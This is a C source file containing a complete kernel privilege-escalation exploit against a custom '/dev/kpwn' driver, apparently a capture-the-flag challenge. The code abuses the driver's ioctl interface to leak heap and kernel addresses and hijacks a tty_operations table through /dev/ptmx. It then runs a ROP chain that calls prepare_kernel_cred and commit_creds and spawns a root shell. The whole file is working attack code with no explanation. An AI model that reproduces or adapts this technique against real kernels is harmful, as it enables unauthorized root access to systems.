#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>
struct _tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
struct file_operations *proc_fops;
};
#define KERNCALL __attribute__((regparm(3)))
long int data[0x400];
void new(int fd){
ioctl(fd,0x1336);
}
void dead(int fd,long int index){
ioctl(fd,0x1338,index);
}
void alive(int fd,long int index){
ioctl(fd,0x1339,index);
}
void set(int fd,long int dest,long int src){
long int arg[2]={src,dest};
ioctl(fd,0x1337,arg);
}
void fake(int fd,long int arg1,long int arg2,long int arg3){
long int arg[3]={arg1,arg2,arg3};
ioctl(fd,0x133d,arg);
}
void leak(int fd,long int index,long int size){
long int arg[3]={index,data,size};
ioctl(fd,0x133b,arg);
}
void edit(int fd,long int index,long int *user,long int size){
long int arg[3]={index,user,size};
ioctl(fd,0x133a,arg);
}
void info(){
for(int i=0;i<=60;i++){
printf("6llx | 6llx\n",data[2*i],data[2*i+1]);
}
}
void shell(){
system("/bin/sh");
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_status() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
struct _tty_operations tty_operations;
int main(){
save_status();
signal(SIGSEGV, shell);
int fd=open("/dev/kpwn",0);
new(fd);
new(fd);
new(fd);
new(fd);
dead(fd,0);
set(fd,3,0);
alive(fd,0);
dead(fd,1);
fake(fd,1,0,3);
leak(fd,3,0x200);
long int heap_addr=data[0];
printf("[*]heap addr=0x%llx\n",heap_addr);
int fd2=open("/dev/ptmx",1);
leak(fd,3,0x300);
long int kernel_addr=(data[76]-0x17a820);
printf("[*]kernel addr=0x%llx\n",kernel_addr);
long int fake_option=heap_addr+0x400;
//info();
printf("[*]fake op addr=0x%llx\n",fake_option);
new(fd);
set(fd,3,0);
long int magic=kernel_addr+0x1751f3;
long int user[30];
for(int i=0;i<20;i++){
user[i]=magic;
}
//info();
//0xffffffffc0002400
edit(fd,3,user,0x100);
user[0]=data[0];
user[1]=data[1];
user[2]=data[2];
user[3]=fake_option;
edit(fd,2,user,0x20);
int i=0;
user[i++]=0;
user[i++]=kernel_addr+0x118fab;//pop_rdx_rdi
user[i++]=0;
user[i++]=0;
user[i++]=kernel_addr+0x4f050;//prepare_kernel_cred
user[i++]=kernel_addr+0x1ed3e;//xor pop ret
user[i++]=0;
user[i++]=kernel_addr+0x10f29f;
user[i++]=0;
user[i++]=kernel_addr+0x4f210;
user[i++]=kernel_addr+0x200c2e;//swapgs;popfq;pop rbp;ret
user[i++]=0x246;
user[i++]=0;
user[i++]=kernel_addr+0x1a306;
user[i++]=shell;
user[i++]=user_cs;
user[i++]=user_eflags;
user[i++]=user_sp;
user[i++]=user_ss;
write(fd2,user,0xb0);
}